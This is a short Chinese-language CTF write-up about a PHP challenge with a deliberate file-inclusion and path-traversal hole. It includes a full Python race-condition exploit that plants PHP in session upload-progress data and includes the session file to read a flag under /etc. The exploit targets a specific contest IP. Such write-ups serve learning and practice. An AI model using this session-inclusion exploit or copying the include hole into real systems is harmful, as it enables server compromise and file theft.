1. <?php
    2. highlight_file(__FILE__);
    3. echo "your flag is in some file in /etc ";
    4. $fielf=$_POST["field"];
    5. $cf="/tmp/app_auth/cfile/".$_POST['cf'];
    6. if(file_exists($cf)){
    7. include $cf;
    8. echo $$field;
    9. exit;
    10. }
    11. else{
    12. echo "";
    13. exit;
    14. }
    15. ?> your flag is in some file in /etc

    刚开始看还以为是出题的变量名字打错了,然后半天也不改,而且还有人做出来了,但看了半天只有一个任意文件读取漏洞,以为不能扫描就没碰,进度一度陷入僵局。
    后来尝试扫了一下,结果扫出来一个you_can_seeeeeeee_me.php,访问后发现是phpinfo的信息。一点一点看各种信息,最终看到一个session.save_path=/var/lib/php/sessions/caefcfedje,结合源码的include,觉得这里应该是能利用的点,上网找了下脚本,成功命令执行:

    1. import io
    2. import sys
    3. import requests
    4. import threading
    5. sessid = 'Qftm'
    6. def POST(session):
    7. while True:
    8. f = io.BytesIO(b'a' * 1024 * 50)
    9. session.post(
    10. 'http://124.70.48.235:20781/',
    11. data={
    12. "PHP_SESSION_UPLOAD_PROGRESS": "<?php var_dump(file_get_contents('/etc/fifeahbegc/hbcceebeje/dhdcbbdjcd/babeechfba/fifhdabccd/fl444444g'));?>"},
    13. files={"file": ('q.txt', f)},
    14. cookies={'PHPSESSID': sessid}
    15. )
    16. def READ(session):
    17. while True:
    18. response = session.post(
    19. 'http://124.70.48.235:20781/', data={"cf": f"../../../../../../../../var/lib/php/sessions/caefcfedje/sess_{sessid}"})
    20. # print('[+++]retry')
    21. # print(response.text)
    22. print(response.text)
    23. sys.exit(0)
    24. with requests.session() as session:
    25. t1 = threading.Thread(target=POST, args=(session, ))
    26. t1.daemon = True
    27. t1.start()
    28. READ(session)